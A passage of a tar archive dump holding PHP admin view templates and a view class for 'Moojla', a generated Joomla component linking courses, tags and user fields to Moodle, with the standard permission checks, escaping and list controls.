				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->moojlacourse_fullname); ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time,
'tag_instances.', $canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo $this->escape($item->moojlacourse_fullname); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->moodletag_tagname); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tag_instances.', true, 'cb');
?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tag_instances.', false,
'cb'); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'tag_instances.', true, 'cb');
?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'tag_instances.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/tag_instances/tmpl/default_foot.php000064400000002304151165724410014670
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="6"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/tag_instances/tmpl/default_head.php000064400000004771151165724410014634
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
			<?php echo JHtml::_('grid.checkall'); ?>
		</th>
	<?php else: ?>
		<th width="20" class="nowrap center
hidden-phone">
			&#9662;
		</th>
		<th width="20" class="nowrap center">
			&#9632;
		</th>
	<?php endif; ?>
	<th class="nowrap" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL',
'g.fullname', $this->listDirn, $this->listOrder); ?>
	</th>
	<th class="nowrap hidden-phone" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL', 'h.tagname',
$this->listDirn, $this->listOrder); ?>
	</th>
	<?php if ($this->canState): ?>
		<th width="10" class="nowrap center" >
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_INSTANCE_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
		</th>
	<?php else: ?>
		<th width="10" class="nowrap center" >
			<?php echo JText::_('COM_MOOJLA_TAG_INSTANCE_STATUS');
?>
		</th>
	<?php endif; ?>
	<th width="5" class="nowrap center hidden-phone"
>
			<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_TAG_INSTANCE_ID', 'a.id',
$this->listDirn, $this->listOrder); ?>
	</th>
</tr>views/tag_instances/tmpl/default_toolbar.php000064400000007060151165724410015367
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_toolbar.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<div id="filter-bar" class="btn-toolbar">
        <div class="filter-search btn-group pull-left">
            <label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
            <input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Tag_instances'); ?>" />
        </div>
        <div class="btn-group pull-left">
            <button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
            <button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
            <?php echo $this->pagination->getLimitBox(); ?>
        </div>
        <div class="btn-group pull-right hidden-phone">
            <label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
            <select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
                <option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
                <option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
            </select>
        </div>
        <div class="btn-group pull-right">
            <label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
            <select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
                <option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
                <?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
            </select>
        </div>
    </div>
<div class="clearfix">
</div>views/tag_instances/tmpl/index.html000064400000000054151165724410013501
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/tag_instances/view.html.php000064400000021522151165724410013161
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Moojla View class for the Tag_instances
 */
class MoojlaViewTag_instances extends JViewLegacy
{
	/**
	 * Tag_instances view display method
	 * @return void
	 */
	function display($tpl = null)
	{
		if ($this->getLayout() !== 'modal')
		{
			// Include helper submenu
			MoojlaHelper::addSubmenu('tag_instances');
		}

		// Assign data to the view
		$this->items = $this->get('Items');
		$this->pagination = $this->get('Pagination');
		$this->state = $this->get('State');
		$this->user = JFactory::getUser();
		// Load the filter form from xml.
		$this->filterForm = $this->get('FilterForm');
		// Load the active filters.
		$this->activeFilters = $this->get('ActiveFilters');
		// Add the list ordering clause.
		$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
		$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
		$this->saveOrder = $this->listOrder == 'a.ordering';
		// set the return here value
		$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
		// get global action permissions
		$this->canDo = MoojlaHelper::getActions('tag_instance');
		$this->canEdit = $this->canDo->get('core.edit');
		$this->canState =
$this->canDo->get('core.edit.state');
		$this->canCreate = $this->canDo->get('core.create');
		$this->canDelete = $this->canDo->get('core.delete');
		$this->canBatch = $this->canDo->get('core.batch');

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			$this->sidebar = JHtmlSidebar::render();
			// load the batch html
			if ($this->canCreate && $this->canEdit &&
$this->canState)
			{
				$this->batchDisplay = JHtmlBatch_::render();
			}
		}
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}

	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JToolBarHelper::title(JText::_('COM_MOOJLA_TAG_INSTANCES'),
'tags');
		JHtmlSidebar::setAction('index.php?option=com_moojla&view=tag_instances');
		JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');

		if ($this->canCreate)
		{
			JToolBarHelper::addNew('tag_instance.add');
		}

		// Only load if there are items
		if (MoojlaHelper::checkArray($this->items))
		{
			if ($this->canEdit)
			{
				JToolBarHelper::editList('tag_instance.edit');
			}

			if ($this->canState)
			{
				JToolBarHelper::publishList('tag_instances.publish');
				JToolBarHelper::unpublishList('tag_instances.unpublish');
				JToolBarHelper::archiveList('tag_instances.archive');

				if ($this->canDo->get('core.admin'))
				{
					JToolBarHelper::checkin('tag_instances.checkin');
				}
			}

			// Add a batch button
			if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
			{
				// Get the toolbar object instance
				$bar = JToolBar::getInstance('toolbar');
				// set the batch button name
				$title = JText::_('JTOOLBAR_BATCH');
				// Instantiate a new JLayoutFile instance and render the batch button
				$layout = new JLayoutFile('joomla.toolbar.batch');
				// add the button to the page
				$dhtml = $layout->render(array('title' => $title));
				$bar->appendButton('Custom', $dhtml, 'batch');
			}

			if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
			{
				JToolbarHelper::deleteList('',
'tag_instances.delete', 'JTOOLBAR_EMPTY_TRASH');
			}
			elseif ($this->canState && $this->canDelete)
			{
				JToolbarHelper::trash('tag_instances.trash');
			}
		}

		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('tag_instances');
		if (MoojlaHelper::checkString($help_url))
		{
				JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}

		// add the options comp button
		if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
		{
			JToolBarHelper::preferences('com_moojla');
		}

		// Only load published batch if state and batch is allowed
		if ($this->canState && $this->canBatch)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
				'batch[published]',
				JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
			);
		}

		// Only load access batch if create, edit and batch is allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			JHtmlBatch_::addListSelection(
				JText::_('COM_MOOJLA_KEEP_ORIGINAL_ACCESS'),
				'batch[access]',
				JHtml::_('select.options',
JHtml::_('access.assetgroups'), 'value',
'text')
			);
		}

		// Only load Moojlacourse Fullname batch if create, edit, and batch is
allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Moojlacourse Fullname Selection
			$this->moojlacourseFullnameOptions =
JFormHelper::loadFieldType('Moojlacourse')->options;
			// We do some sanitation for Moojlacourse Fullname filter
			if (MoojlaHelper::checkArray($this->moojlacourseFullnameOptions)
&&
				isset($this->moojlacourseFullnameOptions[0]->value) &&
				!MoojlaHelper::checkString($this->moojlacourseFullnameOptions[0]->value))
			{
				unset($this->moojlacourseFullnameOptions[0]);
			}
			// Moojlacourse Fullname Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL').'
-',
				'batch[moojlacourse]',
				JHtml::_('select.options',
$this->moojlacourseFullnameOptions, 'value', 'text')
			);
		}

		// Only load Moodletag Tagname batch if create, edit, and batch is
allowed
		if ($this->canBatch && $this->canCreate &&
$this->canEdit)
		{
			// Set Moodletag Tagname Selection
			$this->moodletagTagnameOptions =
JFormHelper::loadFieldType('Moodletag')->options;
			// We do some sanitation for Moodletag Tagname filter
			if (MoojlaHelper::checkArray($this->moodletagTagnameOptions)
&&
				isset($this->moodletagTagnameOptions[0]->value) &&
				!MoojlaHelper::checkString($this->moodletagTagnameOptions[0]->value))
			{
				unset($this->moodletagTagnameOptions[0]);
			}
			// Moodletag Tagname Batch Selection
			JHtmlBatch_::addListSelection(
				'- Keep Original
'.JText::_('COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL').'
-',
				'batch[moodletag]',
				JHtml::_('select.options', $this->moodletagTagnameOptions,
'value', 'text')
			);
		}
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_('COM_MOOJLA_TAG_INSTANCES'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/tag_instances.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 50)
		{
			// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key
and display text as value
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
			'a.published' => JText::_('JSTATUS'),
			'g.fullname' =>
JText::_('COM_MOOJLA_TAG_INSTANCE_MOOJLACOURSE_LABEL'),
			'h.tagname' =>
JText::_('COM_MOOJLA_TAG_INSTANCE_MOODLETAG_LABEL'),
			'a.id' => JText::_('JGRID_HEADING_ID')
		);
	}
}
views/user_fields_map/index.html000064400000000054151165724410013044
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/user_fields_map/tmpl/default.php000064400000005565151165724410014174
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=user_fields_map.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable',
'user_field_mapList', 'adminForm',
strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=user_fields_map');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="user_field_mapList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_USER_FIELDS_MAP_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/user_fields_map/tmpl/default_batch_body.php000064400000002342151165724410016340
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo
JText::_('COM_MOOJLA_USER_FIELDS_MAP_BATCH_TIP'); ?></p>
<?php echo $this->batchDisplay;
?>views/user_fields_map/tmpl/default_batch_footer.php000064400000002740151165724410016703
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('user_field_map.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/user_fields_map/tmpl/default_body.php000064400000007774151165724420015216
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

$edit =
"index.php?option=com_moojla&view=user_fields_map&task=user_field_map.edit";

?>
<?php foreach ($this->items as $i => $item): ?>
	<?php
		$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
		$userChkOut = JFactory::getUser($item->checked_out);
		$canDo =
MoojlaHelper::getActions('user_field_map',$item,'user_fields_map');
	?>
	<tr class="row<?php echo $i % 2; ?>">
		<td class="order nowrap center hidden-phone">
		<?php if ($canDo->get('core.edit.state')): ?>
			<?php
				$iconClass = '';
				if (!$this->saveOrder)
				{
					$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
				}
			?>
			<span class="sortable-handler<?php echo $iconClass;
?>">
				<i class="icon-menu"></i>
			</span>
			<?php if ($this->saveOrder) : ?>
				<input type="text" style="display:none"
name="order[]" size="5"
				value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
			<?php endif; ?>
		<?php else: ?>
			&#8942;
		<?php endif; ?>
		</td>
		<td class="nowrap center">
		<?php if ($canDo->get('core.edit')): ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('grid.id', $i, $item->id); ?>
					<?php else: ?>
						&#9633;
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				<?php endif; ?>
		<?php else: ?>
			&#9633;
		<?php endif; ?>
		</td>
		<td class="nowrap">
			<div class="name">
				<?php if ($canDo->get('core.edit')): ?>
					<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->juserfields_name); ?></a>
					<?php if ($item->checked_out): ?>
						<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time,
'user_fields_map.', $canCheckin); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo $this->escape($item->juserfields_name); ?>
				<?php endif; ?>
			</div>
		</td>
		<td class="hidden-phone">
			<?php echo $this->escape($item->muserfields_id); ?>
		</td>
		<td class="hidden-phone">
			<?php echo JText::_($item->iscv); ?>
		</td>
		<td class="center">
		<?php if ($canDo->get('core.edit.state')) : ?>
				<?php if ($item->checked_out) : ?>
					<?php if ($canCheckin) : ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_fields_map.', true,
'cb'); ?>
					<?php else: ?>
						<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_fields_map.', false,
'cb'); ?>
					<?php endif; ?>
				<?php else: ?>
					<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'user_fields_map.', true,
'cb'); ?>
				<?php endif; ?>
		<?php else: ?>
			<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'user_fields_map.', false, 'cb'); ?>
		<?php endif; ?>
		</td>
		<td class="nowrap center hidden-phone">
			<?php echo $item->id; ?>
		</td>
	</tr>
<?php endforeach;
?>views/user_fields_map/tmpl/default_foot.php000064400000002304151165724420015210
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_foot.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<td colspan="7"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/user_fields_map/tmpl/default_head.php000064400000005251151165724420015146
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_head.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<tr>
	<?php if ($this->canEdit&& $this->canState): ?>
		<th width="1%" class="nowrap center
hidden-phone">
			<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
		</th>
		<th width="20" class="nowrap center">
